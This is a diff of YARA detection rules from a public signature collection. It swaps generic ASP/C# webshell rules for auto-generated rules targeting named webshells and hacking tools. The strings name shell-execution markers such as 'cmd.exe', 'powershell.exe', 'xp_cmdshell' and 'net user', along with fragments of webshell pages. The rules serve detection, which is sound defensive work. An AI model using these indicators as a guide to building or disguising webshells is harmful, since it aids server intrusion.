-		logic_hash = "515bff52bebaad45481202ff934f8d1cbb79c27ccf47ca811077acacb7a47f13"
-		score = 50
-		quality = -28
-		tags = "FILE"
+		description = "Webshells Auto-generated - file resolve.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "dcdb9952-63fc-57a7-ae17-ffe8ac4271f1"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7925-L7942"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "69bf9aa296238610a0e05f99b5540297"
+		logic_hash = "39d8ac274e94f13b5eb197be5827a95ac09df70793bd584c96b81983a565c1ce"
+		score = 75
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$asp_reg2 = "LocalMachine" fullword wide ascii
-		$asp_reg3 = "ClassesRoot" fullword wide ascii
-		$asp_reg4 = "CurrentUser" fullword wide ascii
-		$asp_reg5 = "Users" fullword wide ascii
-		$asp_reg6 = "CurrentConfig" fullword wide ascii
-		$asp_reg7 = "Microsoft.Win32" fullword wide ascii
-		$asp_reg8 = "OpenSubKey" fullword wide ascii
-		$sus1 = "shell" fullword nocase wide ascii
-		$sus2 = "cmd.exe" fullword wide ascii
-		$sus3 = "<form " wide ascii
-		$sus4 = "<table " wide ascii
-		$sus5 = "System.Security.SecurityException" wide ascii
-		$fp1 = "Avira Operations GmbH" wide
-		$tagasp_short1 = /<%[^"]/ wide ascii
-		$tagasp_short2 = "%>" wide ascii
-		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
-		$tagasp_long10 = "<%@ " wide ascii
-		$tagasp_long11 = /<% \w/ nocase wide ascii
-		$tagasp_long12 = "<%ex" nocase wide ascii
-		$tagasp_long13 = "<%ev" nocase wide ascii
-		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
-		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
-		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
-		$php1 = "<?php"
-		$php2 = "<?="
-		$jsp1 = "=\"java." wide ascii
-		$jsp2 = "=\"javax." wide ascii
-		$jsp3 = "java.lang." wide ascii
-		$jsp4 = "public" fullword wide ascii
-		$jsp5 = "throws" fullword wide ascii
-		$jsp6 = "getValue" fullword wide ascii
-		$jsp7 = "getBytes" fullword wide ascii
-		$perl1 = "PerlScript" fullword
-		$asp_input1 = "request" fullword nocase wide ascii
-		$asp_input2 = "Page_Load" fullword nocase wide ascii
-		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
-		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
-		$asp_xml_method1 = "GET" fullword wide ascii
-		$asp_xml_method2 = "POST" fullword wide ascii
-		$asp_xml_method3 = "HEAD" fullword wide ascii
-		$asp_form1 = "<form " wide ascii
-		$asp_form2 = "<Form " wide ascii
-		$asp_form3 = "<FORM " wide ascii
-		$asp_asp = "<asp:" wide ascii
-		$asp_text1 = ".text" wide ascii
-		$asp_text2 = ".Text" wide ascii
+		$s0 = "3^n6B(Ed3"
+		$s1 = "^uldn'Vt(x"
+		$s2 = "\\= uPKfp"
+		$s3 = "'r.axV<ad"
+		$s4 = "p,modoi$=sr("
+		$s5 = "DiamondC8S t"
+		$s6 = "`lQ9fX<ZvJW"
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_FSO_S_Remexp
+{
+	meta:
+		description = "Webshells Auto-generated - file RemExp.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "48a262bf-7f48-5ed9-b043-80e9d563bf21"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7943-L7956"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b69670ecdbb40012c73686cd22696eeb"
+		logic_hash = "b9b966a89ab097494d7af90775bf124f1310c77145be67fa57ebdacd0164e3d0"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+
+	strings:
+		$s1 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=SubFolder.Name%>\"> <a href= \"<%=Request.Ser"
+		$s5 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f=<%=F"
+		$s6 = "<td bgcolor=\"<%=BgColor%>\" align=\"right\"><%=Attributes(SubFolder.Attributes)%></"
 
 	condition:
-		(( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and all of ($asp_reg*) and any of ($sus*) and not any of ($fp*) and ( filesize <10KB or ( filesize <150KB and ( any of ($asp_input*) or ($asp_xml_http and any of ($asp_xml_method*)) or ( any of ($asp_form*) and any of ($asp_text*) and $asp_asp))))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_ASPX_Regeorg_CSHARP : FILE
+rule SIGNATURE_BASE_FSO_S_Tool
 {
 	meta:
-		description = "Webshell regeorg aspx c# version"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0a53d368-5f1b-55b7-b08f-36b0f8c5612f"
-		date = "2021-01-11"
-		modified = "2023-07-05"
-		reference = "https://github.com/sensepost/reGeorg"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L4853-L4963"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c1f43b7cf46ba12cfc1357b17e4f5af408740af7ae70572c9cf988ac50260ce1"
-		hash = "479c1e1f1c263abe339de8be99806c733da4e8c1"
-		hash = "38a1f1fc4e30c0b4ad6e7f0e1df5a92a7d05020b"
-		hash = "e54f1a3eab740201feda235835fc0aa2e0c44ba9"
-		hash = "aea0999c6e5952ec04bf9ee717469250cddf8a6f"
-		logic_hash = "0c68f5955df2e75c3b5b4f1c6398fd57add1f64bfb3d46ccebf1c6767f5d2eb1"
+		description = "Webshells Auto-generated - file tool.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ed744aa4-7a35-57d6-89bd-3286a21b50a0"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7957-L7968"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3a1e1e889fdd974a130a6a767b42655b"
+		logic_hash = "a3449aca3124aa4d920d78e5e674ddd9d8a181b0ce0143032352a69dfdbcad2d"
 		score = 75
-		quality = -7
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$input_sa1 = "Request.QueryString.Get" fullword nocase wide ascii
-		$input_sa2 = "Request.Headers.Get" fullword nocase wide ascii
-		$sa1 = "AddressFamily.InterNetwork" fullword nocase wide ascii
-		$sa2 = "Response.AddHeader" fullword nocase wide ascii
-		$sa3 = "Request.InputStream.Read" nocase wide ascii
-		$sa4 = "Response.BinaryWrite" nocase wide ascii
-		$sa5 = "Socket" nocase wide ascii
-		$georg = "Response.Write(\"Georg says, 'All seems fine'\")"
-		$tagasp_short1 = /<%[^"]/ wide ascii
-		$tagasp_short2 = "%>" wide ascii
-		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
-		$tagasp_long10 = "<%@ " wide ascii
-		$tagasp_long11 = /<% \w/ nocase wide ascii
-		$tagasp_long12 = "<%ex" nocase wide ascii
-		$tagasp_long13 = "<%ev" nocase wide ascii
-		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
-		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
-		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
-		$php1 = "<?php"
-		$php2 = "<?="
-		$jsp1 = "=\"java." wide ascii
-		$jsp2 = "=\"javax." wide ascii
-		$jsp3 = "java.lang." wide ascii
-		$jsp4 = "public" fullword wide ascii
-		$jsp5 = "throws" fullword wide ascii
-		$jsp6 = "getValue" fullword wide ascii
-		$jsp7 = "getBytes" fullword wide ascii
-		$perl1 = "PerlScript" fullword
+		$s7 = "\"\"%windir%\\\\calc.exe\"\")"
 
 	condition:
-		filesize <300KB and (( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and ($georg or ( all of ($sa*) and any of ($input_sa*)))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_CSHARP_Generic : FILE
+rule SIGNATURE_BASE_Felikspack3___PHP_Shells_2005
 {
 	meta:
-		description = "Webshell in c#"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "6d38a6b0-b1d2-51b0-9239-319f1fea7cae"
-		date = "2021-01-11"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L4965-L5073"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b6721683aadc4b4eba4f081f2bc6bc57adfc0e378f6d80e2bfa0b1e3e57c85c7"
-		hash = "4b365fc9ddc8b247a12f4648cd5c91ee65e33fae"
-		hash = "019eb61a6b5046502808fb5ab2925be65c0539b4"
-		hash = "620ee444517df8e28f95e4046cd7509ac86cd514"
-		hash = "a91320483df0178eb3cafea830c1bd94585fc896"
-		logic_hash = "fb367b79c8ed4a61618594db903cf3d70524685d7710d243163958ecb47634aa"
+		description = "Webshells Auto-generated - file 2005.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "91d278d5-e9ec-5a28-9a54-4549b4f0cd07"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7969-L7981"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "97f2552c2fafc0b2eb467ee29cc803c8"
+		logic_hash = "4d04174b23c9057acf2618c01cd702eaaec2d3508a8c25dd87fdd320c076a3b1"
 		score = 75
-		quality = -5
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$input_http = "Request." nocase wide ascii
-		$input_form1 = "<asp:" nocase wide ascii
-		$input_form2 = ".text" nocase wide ascii
-		$exec_proc1 = "new Process" nocase wide ascii
-		$exec_proc2 = "start(" nocase wide ascii
-		$exec_shell1 = "cmd.exe" nocase wide ascii
-		$exec_shell2 = "powershell.exe" nocase wide ascii
-		$tagasp_short1 = /<%[^"]/ wide ascii
-		$tagasp_short2 = "%>" wide ascii
-		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
-		$tagasp_long10 = "<%@ " wide ascii
-		$tagasp_long11 = /<% \w/ nocase wide ascii
-		$tagasp_long12 = "<%ex" nocase wide ascii
-		$tagasp_long13 = "<%ev" nocase wide ascii
-		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
-		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
-		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
-		$php1 = "<?php"
-		$php2 = "<?="
-		$jsp1 = "=\"java." wide ascii
-		$jsp2 = "=\"javax." wide ascii
-		$jsp3 = "java.lang." wide ascii
-		$jsp4 = "public" fullword wide ascii
-		$jsp5 = "throws" fullword wide ascii
-		$jsp6 = "getValue" fullword wide ascii
-		$jsp7 = "getBytes" fullword wide ascii
-		$perl1 = "PerlScript" fullword
+		$s0 = "window.open(\"\"&url&\"?id=edit&path=\"+sfile+\"&op=copy&attrib=\"+attrib+\"&dpath=\"+lp"
+		$s3 = "<input name=\"dbname\" type=\"hidden\" id=\"dbname\" value=\"<%=request(\"dbname\")%>\">"
 
 	condition:
-		(( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and filesize <300KB and ($input_http or all of ($input_form*)) and all of ($exec_proc*) and any of ($exec_shell*)
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_ASP_Runtime_Compile : FILE
+rule SIGNATURE_BASE_Byloader
 {
 	meta:
-		description = "ASP webshell compiling payload in memory at runtime, e.g. sharpyshell"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5da9318d-f542-5603-a111-5b240f566d47"
-		date = "2021-01-11"
-		modified = "2023-04-05"
-		reference = "https://github.com/antonioCoco/SharPyShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L5075-L5173"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e826c4139282818d38dcccd35c7ae6857b1d1d01"
-		hash = "e20e078d9fcbb209e3733a06ad21847c5c5f0e52"
-		hash = "57f758137aa3a125e4af809789f3681d1b08ee5b"
-		hash = "bd75ac9a1d1f6bcb9a2c82b13ea28c0238360b3a7be909b2ed19d3c96e519d3d"
-		hash = "e44058dd1f08405e59d411d37d2ebc3253e2140385fa2023f9457474031b48ee"
-		hash = "f6092ab5c8d491ae43c9e1838c5fd79480055033b081945d16ff0f1aaf25e6c7"
-		hash = "dfd30139e66cba45b2ad679c357a1e2f565e6b3140a17e36e29a1e5839e87c5e"
-		hash = "89eac7423dbf86eb0b443d8dd14252b4208e7462ac2971c99f257876388fccf2"
-		hash = "8ce4eaf111c66c2e6c08a271d849204832713f8b66aceb5dadc293b818ccca9e"
-		logic_hash = "6699a44e396eedebb3bafa0e89c3b6d080586a158ed056ec7220bdf2ad764444"
+		description = "Webshells Auto-generated - file byloader.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "24940e4b-06eb-548d-9e14-1a8f9c864bd3"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7982-L7997"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0f0d6dc26055653f5844ded906ce52df"
+		logic_hash = "66c900e4bc771fb23d7623e57ad51edaa95696c2e31554720582f3e33a1b2e25"
 		score = 75
-		quality = -81
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$payload_reflection1 = "System" fullword nocase wide ascii
-		$payload_reflection2 = "Reflection" fullword nocase wide ascii
-		$payload_reflection3 = "Assembly" fullword nocase wide ascii
-		$payload_load_reflection1 = /[."']Load\b/ nocase wide ascii
-		$payload_load_reflection2 = /\bGetMethod\(("load|\w)/ nocase wide ascii
-		$payload_compile1 = "GenerateInMemory" nocase wide ascii
-		$payload_compile2 = "CompileAssemblyFromSource" nocase wide ascii
-		$payload_invoke1 = "Invoke" fullword nocase wide ascii
-		$payload_invoke2 = "CreateInstance" fullword nocase wide ascii
-		$payload_xamlreader1 = "XamlReader" fullword nocase wide ascii
-		$payload_xamlreader2 = "Parse" fullword nocase wide ascii
-		$payload_xamlreader3 = "assembly=" nocase wide ascii
-		$payload_powershell1 = "PSObject" fullword nocase wide ascii
-		$payload_powershell2 = "Invoke" fullword nocase wide ascii
-		$payload_powershell3 = "CreateRunspace" fullword nocase wide ascii
-		$rc_fp1 = "Request.MapPath"
-		$rc_fp2 = "<body><mono:MonoSamplesHeader runat=\"server\"/>" wide ascii
-		$asp_input1 = "request" fullword nocase wide ascii
-		$asp_input2 = "Page_Load" fullword nocase wide ascii
-		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
-		$asp_input4 = "\\u0065\\u0071\\u0075" wide ascii
-		$asp_input5 = "\\u0065\\u0073\\u0074" wide ascii
-		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
-		$asp_xml_method1 = "GET" fullword wide ascii
-		$asp_xml_method2 = "POST" fullword wide ascii
-		$asp_xml_method3 = "HEAD" fullword wide ascii
-		$asp_form1 = "<form " wide ascii
-		$asp_form2 = "<Form " wide ascii
-		$asp_form3 = "<FORM " wide ascii
-		$asp_asp = "<asp:" wide ascii
-		$asp_text1 = ".text" wide ascii
-		$asp_text2 = ".Text" wide ascii
-		$sus_refl1 = " ^= " wide ascii
-		$sus_refl2 = "SharPy" wide ascii
+		$s0 = "SYSTEM\\CurrentControlSet\\Services\\NtfsChk"
+		$s1 = "Failure ... Access is Denied !"
+		$s2 = "NTFS Disk Driver Checking Service"
+		$s3 = "Dumping Description to Registry..."
+		$s4 = "Opening Service .... Failure !"
 
 	condition:
-		(( filesize <50KB and any of ($sus_refl*)) or filesize <10KB) and ( any of ($asp_input*) or ($asp_xml_http and any of ($asp_xml_method*)) or ( any of ($asp_form*) and any of ($asp_text*) and $asp_asp)) and not any of ($rc_fp*) and (( all of ($payload_reflection*) and any of ($payload_load_reflection*)) or ( all of ($payload_compile*) and any of ($payload_invoke*)) or all of ($payload_xamlreader*) or all of ($payload_powershell*))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_ASP_SQL : FILE
+rule SIGNATURE_BASE_Shelltools_G0T_Root_Fport
 {
 	meta:
-		description = "ASP webshell giving SQL access. Might also be a dual use tool."
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e534dcb9-40ab-544f-ae55-89fb21c422e9"
-		date = "2021-03-14"
-		modified = "2023-07-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L5175-L5356"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "216c1dd950e0718e35bc4834c5abdc2229de3612"
-		hash = "ffe44e9985d381261a6e80f55770833e4b78424bn"
-		hash = "3d7cd32d53abc7f39faed133e0a8f95a09932b64"
-		hash = "f19cc178f1cfad8601f5eea2352cdbd2d6f94e7e"
-		hash = "cafc4ede15270ab3f53f007c66e82627a39f4d0f"
-		logic_hash = "c59250065c4be267746f716f922007b638706a76579af6509c8e97d0cee03f33"
+		description = "Webshells Auto-generated - file Fport.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "664e7b19-4d0b-5062-97d2-0eb34869024d"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7998-L8010"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "dbb75488aa2fa22ba6950aead1ef30d5"
+		logic_hash = "b9dc66e249c0577839cc3748f129c343d2ccb7327b92a2a67e4467782d10a25e"
 		score = 75
-		quality = -34
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$sql1 = "SqlConnection" fullword wide ascii
-		$sql2 = "SQLConnection" fullword wide ascii
-		$sql3 = "System" fullword wide ascii
-		$sql4 = "Data" fullword wide ascii
-		$sql5 = "SqlClient" fullword wide ascii
-		$sql6 = "SQLClient" fullword wide ascii
-		$sql7 = "Open" fullword wide ascii
-		$sql8 = "SqlCommand" fullword wide ascii
-		$sql9 = "SQLCommand" fullword wide ascii
-		$o_sql1 = "SQLOLEDB" fullword wide ascii
-		$o_sql2 = "CreateObject" fullword wide ascii
-		$o_sql3 = "open" fullword wide ascii
-		$a_sql1 = "ADODB.Connection" fullword wide ascii
-		$a_sql2 = "adodb.connection" fullword wide ascii
-		$a_sql3 = "CreateObject" fullword wide ascii
-		$a_sql4 = "createobject" fullword wide ascii
-		$a_sql5 = "open" fullword wide ascii
-		$c_sql1 = "System.Data.SqlClient" fullword wide ascii
-		$c_sql2 = "sqlConnection" fullword wide ascii
-		$c_sql3 = "open" fullword wide ascii
-		$sus1 = "shell" fullword nocase wide ascii
-		$sus2 = "xp_cmdshell" fullword nocase wide ascii
-		$sus3 = "aspxspy" fullword nocase wide ascii
-		$sus4 = "_KillMe" wide ascii
-		$sus5 = "cmd.exe" fullword wide ascii
-		$sus6 = "cmd /c" fullword wide ascii
-		$sus7 = "net user" fullword wide ascii
-		$sus8 = "\\x2D\\x3E\\x7C" wide ascii
-		$sus9 = "Hacker" fullword wide ascii
-		$sus10 = "hacker" fullword wide ascii
-		$sus11 = "HACKER" fullword wide ascii
-		$sus12 = "webshell" wide ascii
-		$sus13 = "equest[\"sql\"]" wide ascii
-		$sus14 = "equest(\"sql\")" wide ascii
-		$sus15 = { e5 bc 80 e5 a7 8b e5 af bc e5 }
-		$sus16 = "\"sqlCommand\"" wide ascii
-		$sus17 = "\"sqlcommand\"" wide ascii
-		$slightly_sus3 = "SHOW COLUMNS FROM " wide ascii
-		$slightly_sus4 = "show columns from " wide ascii
-		$tagasp_short1 = /<%[^"]/ wide ascii
-		$tagasp_short2 = "%>" wide ascii
-		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
-		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
-		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
-		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
-		$tagasp_long10 = "<%@ " wide ascii
-		$tagasp_long11 = /<% \w/ nocase wide ascii
-		$tagasp_long12 = "<%ex" nocase wide ascii
-		$tagasp_long13 = "<%ev" nocase wide ascii
-		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
-		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
-		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
-		$php1 = "<?php"
-		$php2 = "<?="
-		$jsp1 = "=\"java." wide ascii
-		$jsp2 = "=\"javax." wide ascii
-		$jsp3 = "java.lang." wide ascii
-		$jsp4 = "public" fullword wide ascii
-		$jsp5 = "throws" fullword wide ascii
-		$jsp6 = "getValue" fullword wide ascii
-		$jsp7 = "getBytes" fullword wide ascii
-		$perl1 = "PerlScript" fullword
-		$asp_input1 = "request" fullword nocase wide ascii
-		$asp_input2 = "Page_Load" fullword nocase wide ascii
-		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
-		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
-		$asp_xml_method1 = "GET" fullword wide ascii
-		$asp_xml_method2 = "POST" fullword wide ascii
-		$asp_xml_method3 = "HEAD" fullword wide ascii
-		$asp_form1 = "<form " wide ascii
-		$asp_form2 = "<Form " wide ascii
-		$asp_form3 = "<FORM " wide ascii
-		$asp_asp = "<asp:" wide ascii
-		$asp_text1 = ".text" wide ascii
-		$asp_text2 = ".Text" wide ascii
+		$s4 = "Copyright 2000 by Foundstone, Inc."
+		$s5 = "You must have administrator privileges to run fport - exiting..."
 
 	condition:
-		(( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and ( any of ($asp_input*) or ($asp_xml_http and any of ($asp_xml_method*)) or ( any of ($asp_form*) and any of ($asp_text*) and $asp_asp)) and (6 of ($sql*) or all of ($o_sql*) or 3 of ($a_sql*) or all of ($c_sql*)) and (( filesize <150KB and any of ($sus*)) or ( filesize <5KB and any of ($slightly_sus*)))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_ASP_Scan_Writable : FILE
+rule SIGNATURE_BASE_Backdoor__Fr_
 {
 	meta:
-		description = "ASP webshell searching for writable directories (to hide more webshells ...)"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "1766e081-0591-59ab-b546-b13207764b4d"
-		date = "2021-03-14"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L5358-L5501"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2409eda9047085baf12e0f1b9d0b357672f7a152"
-		hash = "af1c00696243f8b062a53dad9fb8b773fa1f0395631ffe6c7decc42c47eedee7"
-		logic_hash = "80969fd0c27903dabf08a250a47971725ac5762fd2f9afd96167b8f88f277348"
+		description = "Webshells Auto-generated - file BackDooR (fr).php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fd0c77e8-18b7-5eb4-8ed4-87ee4c864683"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8011-L8022"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a79cac2cf86e073a832aaf29a664f4be"
+		logic_hash = "6c16c200712015eed71aeb119e46bad5f93445a8f719d98ef31f9012cb3551ae"
 		score = 75
-		quality = -64
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$scan1 = "DirectoryInfo" nocase fullword wide ascii
-		$scan2 = "GetDirectories" nocase fullword wide ascii
-		$scan3 = "Create" nocase fullword wide ascii
